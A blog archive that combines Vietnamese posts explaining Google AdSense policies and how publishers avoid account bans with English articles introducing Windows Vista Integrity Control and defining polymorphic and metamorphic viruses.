If you can't find the information you're looking for, you're welcome to
contact us at https://www.google.com/adsense/support/bin/request.py

IMPORTANT NOTES:
* Want to test your ads? Please don't click on them - clicking on your
own ads is against the AdSense program policies
(https://www.google.com/adsense/policies). Instead, try the AdSense
preview tool, which allows you to check the destination of ads on your
page without the risk of invalid clicks. For additional information, or
to download the AdSense preview tool, please visit
https://www.google.com/support/adsense/bin/topic.py?topic=160.

* You can add the code to a new page or site at any time. Please keep
in mind, however, that we monitor all of the web pages that contain the
AdSense code. If we find that a publisher's web pages violate our
policies, we'll take appropriate actions, which may include the
disabling of the account. For more information, please review the
Google AdSense Terms and Conditions (
http://www.google.com/adsguide/tnc).

Welcome to Google AdSense. We look forward to helping you unleash the
full potential of your website.

Sincerely,

The Google AdSense Team

Một số luật quy định của GA - Những người mới làm nên biết

2007-10-26T01:36:00.000-07:00

Đây là một vài điều mà bạn cần quan tâm khi sử dụng Google Adsense( viết tắt GA) để tránh bị khóa tài khoản.
1.Không được phép mua, bán, trao đổi hay chuyển nhượng tài khoản GA. Khi website bạn đang sử dụng bán lại cho người khác, bạn phải thông báo với Google Adsense Team xin xóa bỏ tài khoản. Người quản lý mới sẽ có quyền đăng ký tài khoản mới trên website đó.

2.Không được click vào GA của chính bạn . Những click ảo (ma) là không được chấp nhận . Nếu click nhiều lần tài khoản của bạn sẽ bị khóa. Đây là sai lầm lớn nhất của các Webmaster mới tham gia quảng cáo trực tuyến (trên website).

3. Không bảo người khác click vào ads của bạn . Có rất nhiều người nghĩ rằng mình không click thì có thể bảo người khác click để kiếm thêm thu nhập Chính điều này là một vi phạm nghiêm trọng . Tôi và bạn đều không hiểu Google làm thế nào để phát hiện ra sự vi phạm này . Tuy nhiên luật GA đã đưa ra thì nên tuân thủ . Nếu bạn tôn trọng đối tác , nhà quảng cáo (Advertisers) thì chắc chắn bạn sẽ làm được thôi. Hãy để mọi việc được tự nhiên, như T và K ấy!

4. Không đặt GA trên một trang popup hay một chương trình được cài đặt. Trang Popup là trang tự động mở bởi các Script mà chúng ta dễ dàng nhận thấy trên một vài Website. Điều này quá dễ để Google nhận ra . Bởi các Script của GA sẽ tự động thông báo cho Robots quản lý. Một vài chương trình cho bạn cài đặt, sử dụng miễn phí , ngược lại bạn phải đồng ý là nó sẽ hiện quảng cáo. các nhà tài trợ . Tất nhiên họ sẽ không được đặt quảng cáo của GA trên đó nếu không họ sẽ bị trả giá.

5. Không được sửa GA code . Bạn chỉ có thể sửa các giá trị hiển thị màu sắc. Và đặt trực tiếp vào Website, không thông qua một Script khác.

6.Không đặt quảng cáo của Google trên third frame (frame thứ ba).

7. Không được đặt phía trên của GA những từ có nội dung khuyến khích click như: Click Me, Click here, Click here to support, hot links, other articles… nếu bị phát hiện thì bạn sẽ bị khóa tài khoản ngay lập tức thậm chí khóa luôn Domain của bạn bởi googlesyndication .Điếu đó có nghĩa là Website của bạn sẽ không bao giờ được tham gia vào chương trình này nữa.Theo luật của GA về labels ads thì bạn chỉ có quyền lựa chọn một trong hai: hoặc Sponsored Links , hoặc Advertisements. Nếu bạn đặt label cho ads bằng ngôn ngữ không hỗ trợ như Vietnamese thì coi chừng. Họ chẳng cần hiểu ý nghĩa của câu bạn nói là gì, họ sẽ thẳng thừng lock tài khoản của bạn và lock luôn domain nơi bạn đang sử dụng đó. Theo tôi thì chúng ta chẳng cần đặt label cho ads làm gì.

8 .Không được ẩn các chữ hiển thị của GA. Bạn có thể chỉnh sửa các giá trị màu sắc tuy nhiên không được làm nó mất đi một phần chữ hiển thị . Ví dụ như bạn chọn color của backround (nền) là :FFFFFF(màu trắng), và color text cũng là: FFFFFF thì hiển nhiên các text của GA sẽ bị biến mất cùng background , hay nói chính xác là visitor không nhìn thấy các từ description.

9. Không được lừa bịp GA. Có quá nhiều người trong chúng ta cố gắng thử tài lừa GA hoặc ít nhất cũng nghĩ rằng mình có thể lừa GA. Tốt nhất là những ý định đó hãy biến đi trong đầu của bạn . Bạn phải luôn quan niệm: ta sẽ tôn thủ đối tác ( nhà quảng cáo chứ không phải GA). Nếu hiểu được điều này bạn sẽ hiểu mọi sự lừa bịp của bạn đều là ngu ngốc cả. GA thông minh hơn ta tưởng . Họ đã bỏ ra nhiều thời gian , nhiều tiền của để nghiên cứu công nghệ không dễ gì lừa họ đâu.

10. Nội dung site của bạn phải:
-Không liên quan đế P0RN, GAMBLING (cờ bạc, cá độ) hay nội dung trái luật pháp, bạo lực, khủng bố, hàng cấm, tôn giáo, hay ảnh hưởng đến cá nhân, nhóm người, tổ chức khác.
-Không được chèn thêm quá nhiều những từ khóa thừa thãi, hoặc không liên quan đến nội dung chính.
-Không tạo nhiều site có nội dung giống nhau hoặc tương tự .
-Không bán hoặc giới thiệu vũ khí,bia, rượu, chất kích thích,thuốc kích thích, kích dục,… thuốc lá
-Không có nội dung về Pay to surf, pay to read email .
-Không đặt Google Adsense trong những trang đòi hỏi đăng nhập.
-Không được mở quảng cáo GA trong cửa sổ mới theo mặc định. Nhiều webmaster muốn mở quảng cáo của GA trên một cửa sổ mới nhưng đây là một sự vi phạm. Mỗi click của người viếng thăm bạn đều có tiền cả, việc bán visitor như vậy cũng đáng mà phải không!.
-Không được đặt sẵn từ khóa trong Searching box.
-Không hiển thị GA trên những trang mp3, video, new groups, các hình ảnh …nếu có liên quan đến bản quyền.
-Không đặt GA trên những trang không có nội dung bằng chữ hiển thị, và không có liên kết nào khác.Ví dụ như trang chỉ có hình ảnh , có mô tả về nó song lại không có một liên kết nào.
-Không có nhiều liên kết gãy, hoặc hơn 100 liên kết khác.

11. Không đặt GA trong email.

12. Không khích lệ người khác click vào GA

13. Trên một trang bạn chỉ có thể sử dụng tối đa: 1 link unit, một button referral cho một sản phẩm (Picasa, FireFox, Adsense , Adword) , hai form tìm kiếm và 3 ad units.

14. Chỉ đặt Search box, ads và referral button trên những trang có nội dung. Không đặt trên các domain parking nếu không được sự cho phép của Google.

15. Không sử dụng Roboots, script tự click, hay các click trao đổi lẫn nhau.

16. Không được cố gắng tạo nhiều Impression.

17. Ngôn ngữ chính của trang web phải được hỗ trợ từ GA. Hiện tại chưa hỗ trợ tiếng Việt. Nếu site của bạn có nội dung tốt, chất lượng cao. Bạn có thể liên hệ với GA để xin sự cho phép.

18. Không sử dụng một chương trình quảng cáo hiển thị theo nội dung khác cùng với GA. Ví dụ Yahoo Publisher Network. Bạn có thể kết hợp giữa Adbrite và GA trên cùng một trang mà không sợ vi phạm.

19. Không tiết lộ các thông tin như CTR, CPM, CPC của bạn. Tôi thấy nhiều bạn chưa nhận rõ được điều này nên còn chụp luôn cả màn hình GA đưa lên forum, hoặc tệ hơn là ngay trên Website của mình. Nếu GA team phát hiện ra thì coi như bạn hết phim.

20. Không sử dụng trên cùng một trang với hai mã số GA trở lên. Bạn có thể sử dụng nhiều mã số (.Không có nghĩa là bạn có nhiều tài khoản mà là có sử dụng mã số của người khác.) trên cùng một trang nhưng bạn phải chắc chắn rằng mỗi lần xuất hiện ads sẽ là một mã số duy nhất. Bạn cũng thường thấy điều này trên các forum sharing revenue (Chia sẻ thu nhập) qua GA.

21. Bạn không được phép có hơn một tài khoản. Nếu GA phát hiện thì họ sẽ xóa tất cả các tài khoản của bạn. Bạn có thể sử dụng một mã số cho nhiều trang Web khác nhau mà không cần xin phép GA. Tất nhiên là site bạn đặt lên phải có nội dung hợp lệ.

22. Bạn không được cố tình phá tài khoản Adsense của người khác. Đây là một luật rất mới, rất sáng suốt của GA. Bạn đừng nên nghĩ rằng bạn có thể phá GA của người khác. Họ sẽ phát hiện ra ngay rằng bạn là ai, sở hữu tài khoản nào và bạn tự làm mất cơ hội của chính mình. Đừng ích kỷ như thế phải không các bạn.
Bạn hãy tuân thủ tất cả các luật trên và nên cập nhật thường xuyên vì có thể có những thay đổi mới. Lần cập nhật gần đây nhất là vào tháng 4 năm 2006.
Trong chúng ta chắc chắn còn nhiều sự thắc mắc về luật của Google Adsense. Rất nhiều người trong chúng ta đã làm, hợp tác với Google Adsense. đã tuân thủ rất tốt luật của Google nhưng vẫn bị khóa tài khoản vô cớ. Nguyên do vì đâu? Đây là một khía cạnh khác, rất quan trọng cần nhiều thảo luận tiếp.

10 lỗi bạn cần tránh để không vi phạm luật của Google Adsense

2007-10-26T01:35:00.000-07:00

Vậy là mình đã bán quảng cáo giúp Google được 3 tháng rồi; trong thời gian này, mọi thứ chẳng có gì là suôn sẻ cả. Nào là phải tối ưu website thường xuyên, nào là "tút" lại giao diện, sao cho đoạn quảng cáo nhiều người nhấn, nhưng nhiều người nhấn thì chỉ có tiếng Việt, mà tiếng Việt thì ít tiền ^_^. Thế là mình lại tìm cách loại bỏ bớt các trang tiếng Việt ra khỏi danh sách, để quảng cáo tiếng anh trèo lên; nhưng cũng gian nan cái vụ có vi phạm nội qui Google Adsense hay không, và lại buồn mỗi khi cả ngày website chỉ có vài người nhấn...

Ban đầu, có những lúc, mình đã nghĩ đến cheat (những chiêu ăn gian qua mặt jhách truy cập và Google Adsense), và thử làm. Nhưng lòng lúc nào cũng không yên chẳng khác nào ngồi trên đống lửa vậy, vì lo sợ bị phát hiện vi phạm, và cảm thấy cắn rứt lương tâm (ít hơn là sợ ban ^_^).

Càng về sau, mình đã có kinh nghiệm hơn về Google Adsense, biết loại quảng cáo nào nhiều người nhấn, biết bố trí quảng cáo cho phù hợp (không gây phản cảm - vì website làm ra đâu phải chỉ để đặt quảng cáo?). Tuyệt đối, mình sẽ không sử dụng cheat nữa, và tin rằng mình còn sẽ hợp tác lâu dài với Google Adsense.

Để làm được điều đó, các bạn phải tuân thủ qui định của Google Adsense, nhất là trong thời gian Google Adsense rất ghét Việt Nam (vì an gian nhiều) như hiện nay. Mình xin chia sẻ với các bạn bản dịch các điều khoản Google Adsense mà mình sưu tầm được từ một số tác giả, cảm ơn tác giả và mong các bạn thành công với Google Adsense (hơn mình nhé).

10 điều khoản của Google Adsense:

1. Đừng bao giờ nhấp chuột vào banner của chính bạn với bất cứ lý do gì

Đây là lý do phổ biến nhất dẫn đến tài khoản Google Adsense của bạn bị đóng/vô hiệu hóa. Do vậy đừng bao giờ tự mình click vào banner của bạn, bởi vì một khi bạn đã login vào tài khoản của bạn. Google sẽ ghi nhớ tất cả các thông tin của lần login đó từ số IP, trình duyệt, hệ điều hành … và còn nhiều cái nữa hòng để xác định người login vào tài khoản đó (thường là chủ tài khoản) có click vào banner hay không. Bạn cũng không nên nghĩ tới việc sử dụng những chương trình tự động để click vào banner của mình, hãy nhớ rằng Google họ đủ thông minh để biết được việc này, vì đoạn code của bạn do một vài chuyên gia viết ra, còn Google Adsense được điều hành bởi hàng trăm những chuyên gia về coding. Do vậy bạn không nên “lừa” họ, và cũng đừng nên “tham bát bỏ mâm” làm gì bạn nhé!

2. Đừng bao giờ thay đổi Adsense code

Ở trong tài khoản của bạn, Google cho phép bạn thay đổi màu sắc, đường viên, màu chữ, kiểu dáng, kích thước banner. Bạn chỉ được phép thay đổi nó trong tài khoản của bạn, bất cứ tác động nào đến đoạn code quảng cáo của Google đều là vi phạm quy tắc. Do vậy bạn cũng không nên thay đổi nó mà giữ nguyên như lúc ban đầu.

3. Đừng đặt nhiều hơn 3 banner quảng cáo, và một banner link hoặc 2 hộp tìm kiếm của Google lên 1 trang web của bạn.

Thực ra thì nếu bạn đặt 10 banner ads trên trang web của bạn, thì từ cái thứ 4 trở đi sẽ không xuất hiện banner nữa. Tuy nhiên, họ đã nói thế thì cứ thế mà làm thôi

4. Đừng dùng một lúc hai chương trình quảng cáo giống như Google (cụ thể là AdBrite hay BidVertiser hay AuctionAds chẳng hạn).

Google không cho phép chúng ta đặt dòng code của họ trên cùng một trang web có “đối thủ” cạnh tranh của họ ở đó. Đối thủ ở đây tôi muốn nói đến là một chương trình quảng cáo dựa trên nội dung khác như là Yahoo Publisher Network. Tuy nhiên, bạn có thể dùng một đoạn code PHP để luân phiên nhau hiển thị hai loại banner, miễn là nó không xuất hiện cùng nhau trên một trang web.

5. Không được nói cho ai biết những thông tin nhạy cảm như là CTR, CPM.

Đây là một quy định của Google có thể được coi là dùng để ngăn chặn tình trạng ào ạt tạo ra những trang giống nhau. Ví dụ một ai đó có trang web về Ipod, có CTR cao hoặc CPM cũng cao … ai ai cũng chuyển “nghề” sang Ipod thì khốn. Do vậy bạn không nên cho ai biết những thông tin như thế, đặc biệt là viết trên forum hoặc công bố trên trang web của bạn. Tuy nhiên, bạn được quyền “nói nhỏ” với người ta về tổng số tiền bạn kiếm được trong một tháng.

Nếu bạn có ý định đặt tên cho banner, bạn chỉ được phép có hai sự lựa chọn là “Sponsored Links - Các đường link được tài trợ ” và “Advertisements - Các quảng cáo ”.

Bất cứ chữ gì khác hai chữ trên đều coi là vi phạm quy định. Tôi cũng từng gặp nhiều người ghi chữ “Hot Links”, “other articles” trên banner của họ. Bạn đừng làm thế nếu bạn không muốn tài khoản của mình bị đóng/vô hiệu hóa.

7. Đừng thiết lập chế độ mặc định link được mở ra ở một cửa sổ khác.

Nếu bạn nghĩ rằng bạn muốn link của Google được mở ra ở cửa sổ khác là một ý kiến hay, thì tôi cũng cho là vậy. Tuy nhiên, Google họ lại không nghĩ thế và họ thích link của họ được mở ra phải ở ngay trong trang đó. Cho nên bạn cũng phải nể “ông lớn” đó một chút, và thực ra click đó cũng đã “bồi thường” cho bạn bằng một số tiền rồi mà đúng không?

8. Đừng tạo nhiều tài khoản cho các trang web khác nhau

Một tài khoản Google Adsense của bạn có thể dùng cho nhiều trang khác nhau. Do vậy bạn không cần phải tạo nhiều tài khoản cho nhiều trang web, bởi nếu họ biết được bạn cũng sẽ bị đóng tài khoản. Cho nên cần gì phải dùng nhiều trong khi họ cho phép mình dùng một tài khoản cho nhiều trang web.

9. Chỉ đặt banner của Google trên những trang có nội dung

Các nhà quảng cáo chỉ trả tiền cho banner của họ được đặt trên trang có nội dung. Do vậy nếu bạn đặt banner ở những trang cám ơn, redirect … đại loại là những trang không có nội dung. Điều này cũng vi phạm luật chơi của Google.

10. Tránh lạm dụng từ khoá trên một trang

Bạn nên viết một bài viết có nội dung, và trong vài đó có một vài từ khoá mà bạn muốn Google đặt banner theo nó. Nhưng bạn đừng làm một trang chẳng có nội dung gì ngoài từ khoá đó, như thế là vi phạm luật và nếu bị phát hiện tài khoản của bạn cũng có thể bị đóng.

Google Adsense cho người Việt Nam

2007-10-26T01:33:00.000-07:00

Những người tham gia chương trình AdSense (tạm gọi là các publisher) đều phải tuân thủ các chính sách dưới đây. Chúng tôi yêu cầu các bạn nên đọc kỹ các chính sách này một cách cẩn thận và thường xuyên xem lại nó để tránh mắc lỗi. Nếu bạn không tuân thủ các chính sách này, chúng tôi sẽ không hiển thị các quảng cáo trên website của bạn nữa và sẽ vô hiệu hóa/đóng tài khoản AdSense của bạn vĩnh viễn. Trong nhiều trường hợp, chúng tôi thích làm việc với các Publisher để giải quyết các tranh chấp và khiếu nại nhưng CHÚNG TÔI LÀ NGƯỜI CÓ QUYỀN QUYẾT ĐỊNH VÔ HIỆU HÓA BẤT CỨ MỘT TÀI KHOẢN NÀO VÀO BẤT KỲ THỜI GIAN NÀO. Nếu tài khoản của bạn bị vô hiệu hóa, thì có nghĩa bạn SẼ KHÔNG BAO GIỜ ĐƯỢC PHÉP THAM GIA VÀO CHƯƠNG TRÌNH ADSENSE NỮA.

Xin các bạn lưu rằng chúng tôi có thể thay đổi các chính sách của mình vào bất kỳ thời gian nào và chiểu theo các điều khoản tham gia của chúng tôi. Trách nhiệm của các bạn là phải thường xuyên theo dõi những thay đổi trong chính sách tại trang website của chúng tôi và áp dụng ngay những thay đổi đó.Các click và impression không hợp lệ
Các click trên các quảng cáo của Google phải băt nguồn từ sự quan tâm thực sự của người truy cập vào trang website đó. Bất cứ một phương pháp nhân tạo nào nhằm tạo ra nhiều click và impression không hợp lệ trên các quảng cáo của Google AdSense trên website của bạn đều bị nghiêm cấm. Nhưng phương pháp bị cấm này bao gồm nhưng không giới hạn đối với các click, impression lặp đi lặp lại bằng tay, có sử dụng robot, các công cụ tự động click hoặc tự động mở website, các dịch vụ của bên thứ 3 như: click-để-nhận tiền (paid-to-click), lướt-để-nhận tiền (paid-to-surf), tự lướt web (autosurf), và các chương trình trao đổi click (click-exchange), hoặc bất cứ một chương trình/phần mềm lừa đảo nào. Xin lưu ý rằng click trên chính các quảng cáo của bạn vì bất cứ lý do gì đều bị nghiêm cấm. Việc không tuân thủ chính sách này có thể dẫn đến việc vô hiệu hóa/khóa tài khoản của bạn.

Khuyến khích click

Để đảm bảo chất lượng dịch vụ cung cấp cho người truy cập, các publisher và các nhà quảng cáo (advertiser), các publishers không được đề nghị người truy cập click vào các quảng cáo trên trang website/blog của họ hay đáp lại băng cách phương pháp mang tính gian lận/lừa đảo nhằm có nhiều click.

Các Publishers tham gia vào chương trình AdSense:
* Không thể khuyến khích người truy cập click vào các quảng cáo AdSense bằng việc sử dụng các lời mời chào như: "hãy click vào quảng cái (click ads)," "ủng hộ chúng tôi (support us)," "hãy truy cập các đường link này (visit these links)," hay đại loại sử dụng các chiêu bài có nội dung tương tự bằng các ngôn ngữ tương tự
* Không thể hướng người truy cập tới các quảng cáo bằng việc đặt các mũi tên hoặc các máng lới/mẹo quảng cáo khác
* Không thể đặt các hình ảnh dễ làm cho người truy cập lầm tưởng dọc theo các quảng cao của AdSense
* Không thể quảng bá các website của bạn bằng việc đặt các quảng cáo thông qua các hệ thống email không được yêu cầu hoặc các dịch vụ quảng cáo không mong muốn của các website của bên thứ 3
* Không thể bồi thường/trả công cho người truy cập xem các quảng cáo hoặc tìm kiếm thông qua công cụ của bạn, hoặc hứa hẹn trả công cho bên thứ 3 khi làm chuyện đó
* Không thể đặt các biển hiệu dễ gây nhầm lẫn như đã nói ở trên – ví dụ: các quảng cáo có thể đặt tên là “các đường link của nhà tài trợ (Sponsored Links)" nhưng không thể đặt tên là “các trang được yêu thích (Favorite Sites)" hoặc tương tự như thế.

Nội dung website
Google cho phép tiếp cận tới hầu hết các nội dung trong trang tìm kiếm, các publisher trong chương trình AdSense chỉ có thể đặt các quảng cáo trên các trang có tuân thủ các quy định của chương trình AdSense, và các quảng cáo không được phép đặt trên bất cứ một trang nào mà ngôn ngữ của trang đó không được hỗ trợ. Xem danh sách các ngôn ngữ được Google hỗ trợ đến thời điểm này.
Các website hiển thị các quảng cáo AdSense không bao gồm:
* Có nội dụng bạo lực/phân biệt chủng tộc/sắc tộc, hoặc vận động chống lại bất cứ một cá nhân nào, nhóm nào hoặc tổ chức nào
* Có nội dung khiêu dâm, mang tính người lớn hoặc nội dung dành cho người trưởng thành
* Có nội dung hack/crack
* Có nội dụng về thuốc trái phép/lậu và các đồ dùng cá nhân liên quan đến thuốc/dược phẩm
* Có nổi dụng tục tĩu/chửi thề/xúc phạm và nội dung báng bổ thái quá
* Đánh bạc kiếm tiền và các nội dung liên quan đến casino
* Các nội dụng liên quan đến các chương trình mang tính khích lệ người truy cập click vào các quảng cáo hoặc có tính khuyến mại khi ai đó tìm kiếm, lướt web và đọc email ăn tiền
* Có các từ khóa không phù hợp, thái quá và lặp trên nội dung và các mã của trang website
* Có nội dung dối trá/lừa đảo và có tính lôi cuốn hoặc mang tính xây dựng nhằm cải thiện cho website vị thế website của bạn. Ví dụ như: xếp hạng trang website của bạn (PageRank)
* Có nội dung mua bán hoặc quảng bá vũ khí hoặc quân trang (ví dụ: súng cầm tay các loại, dao dành cho chiến đấu, các loại súng sat thương….)
* Có nội dung mua bán hoặc quảng bá beer hoặc rượu mạnh
* Có nội dung mua bán hoặc quảng bá thuốc lá và các sản phẩm liên quan đến thuốc lá (tobacco)
* Có nội dung mua bán hoặc quảng bá toa thuốc
* Có nội dung mua bán hoặc quảng bá các sản phẩm là các tác phẩm mô phỏng/làm giả/sao chép các tác phẩm nghệ thuật của người khác
* Có nội dung mua bán hoặc phân phát luận án và bài văn của sinh viên (essay)
* Có bất cứ một nội dung khác nào bất hợp pháp, quảng bá cho các hoạt động phi pháp, hoặc xâm phạm quyền hợp pháp của người khác.

Các tài liệu được bảo về bản quyền
Các publishers sở hữu các website không được đăng các quảng cáo của AdSense trên các trang được bảo vệ bản quyền trừ khi họ có quyền hợp pháp để đăng trên website đó. Bạn có thể xem chính sách DMCA của chúng tôi để biết thêm thông tin.

Hướng dẫn cho các Webmaster
Các publisher tham gia chương trình AdSense cần phải tuân theo các hướng dẫn về chất lượng được đăng tại trang hướng dẫn cho các webmaster

Các hoạt động của các website và các quảng cáo
Các website hiển thị các quảng cáo AdSense nên đơn giản cho người truy cập hướng tới và không nên có các pop-up thái quá. Mã AdSense không thể được thay đổi hoặc có những cách điều chỉnh nhằm thu hút người truy cập dưới mọi hình thức đều không được chấp nhận bởi Google.
* Các website hiển thị các quảng cáo AdSense không thể chứa các pop-up hoặc các dạng pop-under mà khi mở ra sẽ đụng chạm với các thanh điều hướng của trang website (navigation), thay đổi sở thích của người sử dụng, hoặc đề xướng downloads.
* Bất cứ một mã AdSense nào cũng đều phải được chèn trực tiếp vào các trang mà không được điều chỉnh gì hết. Những người tham gia chương trình AdSense không được phép thay đổi bất kỳ một phẩn nào của mã hoặc thay đổi hoạt động, kết quả đích hoặc cách hiển thị các quảng cáo. Ví dụ: các click lên quảng cáo AdSense không thể hiện thị trên một trang hoàn toàn mới mà phải hiện thị ngay trên trang website của bạn.
* Một website hoặc một bên thứ 3 không thể đặt các quảng cáo của AdSense, các công cụ tìm kiếm, kết quả tìm kiếm, hoặc các phím giới thiệu người khác tham gia trên bất ký phần mềm nào như toolbar (thanh công cụ)..
* Không một mã AdSense nào có thể được tích hợp vào bất ký một phần mềm nào.
* Các trang chứa nội dung mã AdSense không thể được tải bằng bất kỳ phần mềm nào mà phần mềm đó sử dụng pop-up, hướng người truy cập tới các trang website không mong muốn, chỉnh sửa chế độ cài đặt của trình duyệt, hoặc đụng chạm/gây trở ngại cho các thanh điều hướng của trang web. Trách nhiệm của bạn là phải đảm bảo rằng không một mạng lưới quảng cáo/chương trình môi giới nào sử dụng các phương pháp tương tự để thu hút lượng truy cập tới các website của bạn hiện đã có chèn các mã AdSense.
* Việc đặt các banner của các chương trình referral phải được đưa ra mà không có bất kỳ một ràng buộc nào nhằm vô hiệu hóa tài khoản nếu họ không sử dụng chương trình do bạn giới thiệu. Các publisher không được níu kéo/thu hút địa chỉ email từ người truy cập có liên kết tới các phần có chương trình referral của AdSense.
* Các publisher sử dụng quảng cáo trực tuyến để hướng người truy cập tới các trang có hiển thị quangrcaos của AdSense đều phải tuân thủ tinh thần của Google tại trang các hướng dẫn về chất lượng của trang web. Ví dụ: nếu bạn quảng cáo cho các website đangtham gia chương trình AdSense, thì việc quảng cáo đó không được mang tính lừa đảo khách hàng/người truy cập.

Vị trí đặt quảng cáo
AdSense đưa ra hàng loạt định dạng quảng cáo và các sản phẩm quảng cáo. Các publisher được khuyến khích thử nghiệm với hàng loạt các vị trí, miễn là tôn trọng các chính sách sau đây:
* Tối đa có thể đặt 3 đơn vị quảng cáo trên một trang.
* Tối đa 2 hộp tìm kiếm của AdSense có thể đặt trên một trang.
* Tối đa 3 đường link quảng cáo cũng có thể đặt trên một trang.
* Tối đa 2 banner giới thiệu (referral) của mỗi một chương trình giới thiệu có thể đặt trên một trang bên cạnh các đơn vị quảng cáo, link quảng cáo và hộp tìm kiếm như đã đề cập ở trên.
* AdSense cho các trang kết quả tìm kiếm có thể chỉ hiện thị một đường link quảng cáo bên cạnh các kết quả tìm kiếm được Google cung cấp. Không một quảng cáo nào khác có thể được hiển thị trên trang kết quả tìm kiếm của bạn.
* Không đặt hộp tìm kiếm của Google dưới dạng pop-up, pop-under, hoặc trong các email.
* Các thành tố trên một trang không được phép làm mờ đi bất cứ một phần nào của các quảng cáo.
* Không được đặt quảng cáo trên các trang mà không có nội dung thực sự.
* Không một quảng cáo của Google nào được đặt trên các trang được làm ra chỉ với mục đích đơn thuần là quảng cáo, không cần biết nội dung của trang website đó là phù hợp hay không phù hợp.

Các dịch vụ và các quảng cáo mang tính cạnh tranh
Để bảo vệ người truy cập không bị nhầm lẫn, chúng tôi không cho phép các quảng cáo hay các hộp tìm kiếm của Google được đặt trên những trang nào có mà các quảng cáo/dịch vụ của các nhà quảng cáo khác có cùng định dạng, màu sắc như các quảng cáo hoặc hộp tìm kiếm của AdSense. Mặc dù, bạn có thể bán các quảng cáo trực tiếp trên website của mình, nhưng bạn phải có trách nhiệm đảm bảo các quảng cáo đó không thể nhầm lẫn với các quảng cáo của AdSense được.

Introduction to Windows Integrity Control

2007-10-24T16:11:00.000-07:00

This article takes a look at the Windows Integrity Control (WIC) capabilities in Windows Vista by examining how it protects objects such as files and folders on Vista computers, the different levels of protection offered, and how administrators can control WIC using the ICACLS command-line tool. WIC is intended to protect a system from malware and user error by helping to establish different levels of trust on objects.
System integrity - Who can you trust?

When the developers at Microsoft set out to create the latest version of their operating system, Windows Vista, they set out to ensure it was the most secure version of Windows yet. One of the functions that has been built in to Windows Vista which helps to make it more secure is Windows Integrity Control, or WIC.

The purpose of WIC is to protect objects, whether they are files, printers, named pipes, registry keys, and so on from attacks, malware or even innocent user error. The concept of WIC is based on establishing the trustworthiness of the various objects and controlling the interactions between objects based on their integrity, or level of trustworthiness.

The integrity levels of WIC are a mandatory control and override discretionary controls such as NTFS file and folder permissions which most administrators are familiar with. The primary objective of WIC is to ensure that only objects with an integrity level equal to or greater than the target object are allowed to interact with it. Essentially, if an object is less trustworthy, it is prohibited from acting on, or interacting with more trustworthy objects.

Again, WIC trumps normal permissions. That means that even if a file or process has Full Control permissions to another object, if the file or process has a lower integrity level than the object it is trying to interact with WIC will override the permissions and the interaction will be denied.
Determining trustworthiness using WIC

In order to police the interactions between objects, Windows must first determine the trustworthiness, or integrity level of each object. WIC assigns one of the following six integrity levels to each object:

* Untrusted – processes that are logged on anonymously are automatically designated as Untrusted
* Low – The Low integrity level is the level used by default for interaction with the Internet. As long as Internet Explorer is run in its default state, Protected Mode, all files and processes associated with it are assigned the Low integrity level. Some folders, such as the Temporary Internet Folder, are also assigned the Low integrity level by default.
* Medium – Medium is the context that most objects will run in. Standard users receive the Medium integrity level, and any object not explicitly designated with a lower or higher integrity level is Medium by default.
* High – Administrators are granted the High integrity level. This ensures that Administrators are capable of interacting with and modifying objects assigned Medium or Low integrity levels, but can also act on other objects with a High integrity level, which standard users can not do.
* System – As the name implies, the System integrity level is reserved for the system. The Windows kernel and core services are granted the System integrity level. Being even higher than the High integrity level of Administrators protects these core functions from being affected or compromised even by Administrators.
* Installer – The Installer integrity level is a special case and is the highest of all integrity levels. By virtue of being equal to or higher than all other WIC integrity levels, objects assigned the Installer integrity level are also able to uninstall all other objects.

In terms of the impact on Windows Vista security, these integrity levels and WIC protect objects from intentional or unintentional modification or deletion by less trusted objects. By setting the Medium integrity level as the default mode for standard users and for all unlabeled objects, Vista protects the majority of objects on the computer from being affected in any way by threats from the Internet, which run at the Low integrity level by default.

Similarly, although Administrators are more powerful than standard users and operate at the High integrity level, the operating system kernel and core functionality receive a higher System integrity level, ensuring that even an absent-minded Administrator or compromised Administrator account can not adversely impact the core system.

To reiterate, the WIC integrity levels and controls are very similar to normal NTFS file and folder permissions. The primary difference is that NTFS permissions are discretionary controls while WIC integrity levels are mandatory controls. Basically, file and folder access privileges and permissions are assigned by the object owner or an administrator, while WIC integrity levels are dictated by the operating system.

While the upper four levels receive little practical use, the differentiation between Low integrity and Medium integrity is where the majority of WIC’s functionality lies. Implementing mandatory controls rather than relying only on the discretion of users or administrators certainly provides more security at all levels. But, the ability to segregate files and processes from the Internet and protect the computer from Internet-borne malware is one of the primary reasons for the existence of WIC.
Protecting Vista from Internet threats

While standard users operate at a Medium integrity level and Administrators are designated as High integrity, WIC assumes that the Internet, and any associated files or processes, are completely untrustworthy and assigns them a Low integrity level by default.

When a user receives an email with a link to a malicious web site (the sort of email they have been told a thousand times to delete), and he clicks on it, the malicious web site may attempt to install some sort of nasty malware. The malware will typically copy itself to some location on the hard drive and modify Registry keys to ensure its continued existence. It may also try to modify or delete other files or execute processes to initiate other malicious activity.

Detecting Complex Viruses

2007-10-24T16:09:00.000-07:00

There are many metrics by which to measure the efficiency and effectiveness of an antivirus product and the response organization that is backing it. Some of the commonly used metrics today include the antivirus company's response time to new threats and well as the availability of proactive detection. But are these metrics enough?

The purpose of this paper is to examine the difficulties of detecting complex viruses, including polymorphic, metamorphic and entry-point obscuring viruses. Whether or not an anti-virus technology can detect these viruses can be a useful metric to consider when evaluating AV products.

In this article, we will show how complex viruses can offer an entirely different threat to organizations. It is important to step into the world of complex viruses by defining what a metamorphic, polymorphic, and entry-point obscuring virus is, understand when it is considered a real threat, and then see some real-life examples of complex viruses that have been discovered. This will lead into a discussion on the limitations of current anti-virus engine technology, and then finally, we will try to gauge the importance of detecting these complex viruses accurately, and in a timely fashion.
Overview of complex viruses
At one time, the aggregate number of viruses a product detects was considered a useful and popular metric, but this has largely been abandoned in favor of other more useful and scientific measures. Today, an AV company's response time to new threats and the proactive detection that their product offers are both considered more important evaluation criteria. But these criteria often do not consider complex viruses, a different kind of threat. Detecting a complex virus means detecting a threat that is either inherently difficult to detect, or exposes engine limitations that make it difficult to detect. We will start with a few definitions.

A polymorphic virus is a virus that changes its appearance in host programs. For instance, it encrypts its body with a different key each time, and prepends a decryption routine to itself. The decryption routine (known as the "decryptor") is mutated randomly across virus instances, so as to be not easily recognizable.

A metamorphic virus, by comparison, is a virus that also changes its appearance in host programs, however it does so without necessarily depending on encryption. The difference in appearance comes from changes made by the virus to its own body. There are several techniques that can produce such an effect.

